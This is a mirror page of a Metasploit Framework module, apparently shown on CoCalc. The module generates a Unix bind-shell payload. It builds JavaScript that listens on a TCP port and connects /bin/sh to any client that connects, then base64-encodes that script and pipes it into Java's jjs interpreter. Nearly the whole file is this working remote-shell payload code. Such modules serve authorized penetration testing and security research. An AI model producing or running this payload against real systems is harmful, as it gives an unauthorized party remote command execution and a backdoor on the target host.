Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/payloads/singles/cmd/unix/bind_jjs.rb
19592 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
module MetasploitModule
7
CachedSize = 795
8
9
include Msf::Payload::Single
10
include Msf::Sessions::CommandShellOptions
11
12
def initialize(info = {})
13
super(
14
merge_info(
15
info,
16
'Name' => 'Unix Command Shell, Bind TCP (via jjs)',
17
'Description' => 'Listen for a connection and spawn a command shell via jjs',
18
'Author' => [
19
'conerpirate', # jjs bind shell
20
'bcoles' # metasploit
21
],
22
'References' => [
23
['URL', 'https://gtfobins.github.io/gtfobins/jjs/'],
24
['URL', 'https://cornerpirate.com/2018/08/17/java-gives-a-shell-for-everything/'],
25
['URL', 'https://h4wkst3r.blogspot.com/2018/05/code-execution-with-jdk-scripting-tools.html'],
26
],
27
'License' => MSF_LICENSE,
28
'Platform' => 'unix',
29
'Arch' => ARCH_CMD,
30
'Handler' => Msf::Handler::BindTcp,
31
'Session' => Msf::Sessions::CommandShell,
32
'PayloadType' => 'cmd',
33
'RequiredCmd' => 'jjs',
34
'Payload' => { 'Offsets' => {}, 'Payload' => '' }
35
)
36
)
37
register_options(
38
[
39
OptString.new('SHELL', [ true, 'The shell to execute', '/bin/sh' ])
40
]
41
)
42
register_advanced_options(
43
[
44
OptString.new('JJSPath', [true, 'The path to the JJS executable', 'jjs'])
45
]
46
)
47
end
48
49
def generate(_opts = {})
50
return super + command_string
51
end
52
53
def command_string
54
jcode = %{
55
var ss=new java.net.ServerSocket(#{datastore['LPORT']});
56
while(true){
57
var s=ss.accept();
58
var p=new java.lang.ProcessBuilder("#{datastore['SHELL']}").redirectErrorStream(true).start();
59
var pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream();
60
var po=p.getOutputStream(),so=s.getOutputStream();
61
while(!s.isClosed()){
62
while(pi.available()>0)so.write(pi.read());
63
while(pe.available()>0)so.write(pe.read());
64
while(si.available()>0)po.write(si.read());
65
so.flush();
66
po.flush();
67
java.lang.Thread.sleep(50);
68
try{p.exitValue();break;}catch(e){}
69
};
70
p.destroy();s.close();ss.close();
71
}
72
}
73
74
minified = jcode.split("\n").map(&:lstrip).join
75
76
%{echo "eval(new java.lang.String(java.util.Base64.decoder.decode('#{Rex::Text.encode_base64(minified)}')));"|#{datastore['JJSPath']}}
77
end
78
end
79
80